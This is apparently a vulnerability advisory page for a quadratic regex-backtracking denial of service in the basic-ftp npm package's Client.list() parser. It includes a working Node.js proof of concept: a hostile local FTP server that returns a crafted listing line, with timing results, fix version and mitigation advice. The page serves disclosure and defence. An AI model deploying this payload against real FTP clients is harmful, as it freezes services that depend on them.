basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)GHSA-c475-qrg2-pj4r
Fix: patrickjuchli/basic-ftp@d0d9e07GHSA-c475-qrg2-pj4r is a CWE-1333 vulnerability in basic-ftp. A fix is available for basic-ftp — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c475-qrg2-pj4r.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
basic-ftpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Client.list() parses the server's directory listing with the Unix-style parser in parseListUnix.js. Its RE_LINE regex has two adjacent (\S+(?:\s\S+)*) groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.
The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. parseList() picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.
Proof of concept
npm i basic-ftp && node repro.js:
const net = require("net"), ftp = require("basic-ftp");
const KB = Number(process.env.LINE_KB || 128);
const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!";
const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n";
const server = net.createServer(c => {
c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = "";
c.on("data", d => { buf += d; let i;
while ((i = buf.indexOf("\r\n")) !== -1) {
const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);
if (cmd.startsWith("USER")) c.write("331 .\r\n");
else if (cmd.startsWith("PASS")) c.write("230 .\r\n");
else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n");
else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); });
ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)\r\n`)); }
else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); }
else c.write("200 .\r\n"); } });
});
server.listen(0, "127.0.0.1", async () => {
const client = new ftp.Client(0);
await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" });
let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();
await client.list(); clearInterval(hb);
console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);
process.exit(0);
});
Prints list() blocked 39.75s; heartbeats fired: 0, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. maxListingBytes defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.
Impact
One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in Client.list() and rated high. The byte cap added there bounds memory, not the parser's CPU cost.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | basic-ftp | all versions | 6.2.1npm install basic-ftp@6.2.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for basic-ftp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update basic-ftp to 6.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c475-qrg2-pj4r is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated as Important because connecting to an untrusted or hostile remote FTP endpoint allows unauthenticated actors to trigger catastrophic CPU exhaustion, halting application responsiveness. In Red Hat solutions embedding this client library, parsing manipulated directory contents monopolizes the…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-c475-qrg2-pj4r (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/automation-portal:1792523640 | RHSA-2026:86675 |
| Red Hat OpenShift AI 3.5 | rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9:1791825469 | RHSA-2026:86891 |
Frequently Asked Questions
Is GHSA-c475-qrg2-pj4r in your dependencies?
Find it across npm, including transitive dependencies.